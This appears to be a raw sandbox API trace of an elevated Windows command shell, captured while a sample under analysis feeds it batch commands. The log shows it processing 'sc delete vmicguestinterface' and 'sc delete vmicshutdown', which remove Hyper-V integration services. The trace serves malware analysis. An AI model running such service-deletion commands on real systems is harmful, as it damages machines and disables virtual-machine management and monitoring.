GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0062.824] GetProcessHeap () returned 0x1b0000 [0062.824] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0062.824] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0062.824] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.824] GetFileType (hFile=0x120) returned 0x3 [0062.824] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0062.824] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0062.825] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0062.825] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0062.825] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0062.825] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0062.825] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.825] GetFileType (hFile=0x120) returned 0x3 [0062.825] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0062.825] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0062.825] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.825] GetFileType (hFile=0xb8) returned 0x3 [0062.825] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.825] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.825] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.825] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicguestinterface\n") returned 1 [0062.825] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.825] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.826] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.826] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicguestinterface\n") returned 1 [0062.826] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.826] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.826] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.826] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicguestinterface\n") returned 1 [0062.826] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.826] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.826] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.826] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete vmicguestinterface\n") returned 1 [0062.826] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.826] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.826] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.826] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete vmicguestinterface\n") returned 1 [0062.826] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.826] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.826] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.826] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicguestinterface\n") returned 1 [0062.826] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.826] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.826] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.827] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicguestinterface\n") returned 1 [0062.827] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.827] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.827] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.827] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te vmicguestinterface\n") returned 1 [0062.827] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.827] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.827] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.827] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e vmicguestinterface\n") returned 1 [0062.827] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.827] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.827] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.827] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" vmicguestinterface\n") returned 1 [0062.827] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.827] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.827] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.827] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="vmicguestinterface\n") returned 1 [0062.827] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.827] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.827] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.828] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="micguestinterface\n") returned 1 [0062.828] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.828] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.828] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.828] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="icguestinterface\n") returned 1 [0062.828] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.828] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.828] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.828] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="cguestinterface\n") returned 1 [0062.828] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.828] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.828] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.828] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="suestinterface\n") returned 1 [0062.828] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.828] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.828] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.828] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="hestinterface\n") returned 1 [0062.828] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.828] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.828] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.829] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="ustinterface\n") returned 1 [0062.829] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.829] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.829] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.829] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="ttinterface\n") returned 1 [0062.829] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.829] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.829] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.829] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="dinterface\n") returned 1 [0062.829] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.829] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.829] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.829] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="onterface\n") returned 1 [0062.829] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.830] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.830] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.830] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="wterface\n") returned 1 [0062.830] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.830] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.831] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.831] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="nerface\n") returned 1 [0062.831] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.831] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.831] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.831] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="\nrface\n") returned 1 [0062.831] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.831] GetFileType (hFile=0xb8) returned 0x3 [0062.831] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.831] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.831] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.831] GetFileType (hFile=0x120) returned 0x3 [0062.831] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicshutdown\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicshutdown\n", lpUsedDefaultChar=0x0) returned 24 [0062.831] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x17, lpOverlapped=0x0) returned 1 [0062.831] GetProcessHeap () returned 0x1b0000 [0062.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1cfb10 [0062.831] GetProcessHeap () returned 0x1b0000 [0062.831] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cfb10 | out: hHeap=0x1b0000) returned 1 [0062.831] GetProcessHeap () returned 0x1b0000 [0062.831] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0062.832] GetProcessHeap () returned 0x1b0000 [0062.832] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c8900 [0062.832] GetProcessHeap () returned 0x1b0000 [0062.832] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3a) returned 0x1caa40 [0062.832] GetConsoleOutputCP () returned 0x1b5 [0062.833] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0062.833] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.833] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.833] GetProcessHeap () returned 0x1b0000 [0062.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0062.833] GetProcessHeap () returned 0x1b0000 [0062.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x40) returned 0x1caa90 [0062.833] GetProcessHeap () returned 0x1b0000 [0062.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0062.833] SetErrorMode (uMode=0x0) returned 0x1 [0062.833] SetErrorMode (uMode=0x1) returned 0x0 [0062.833] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0062.833] SetErrorMode (uMode=0x1) returned 0x1 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0062.834] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0062.834] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c9db0 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0062.834] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0062.834] GetProcessHeap () returned 0x1b0000 [0062.834] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0062.834] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.834] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.835] GetLastError () returned 0x2 [0062.835] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.835] GetLastError () returned 0x2 [0062.835] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.835] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0062.835] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0062.835] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0062.836] GetLastError () returned 0x2 [0062.836] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0062.836] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0062.836] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0062.836] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0062.836] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.836] GetProcessHeap () returned 0x1b0000 [0062.836] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1cc5b0 [0062.836] GetConsoleTitleW (in: lpConsoleTitle=0x1cc5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0062.836] GetProcessHeap () returned 0x1b0000 [0062.836] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0xa6) returned 0x1cc5b0 [0062.836] GetProcessHeap () returned 0x1b0000 [0062.836] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, 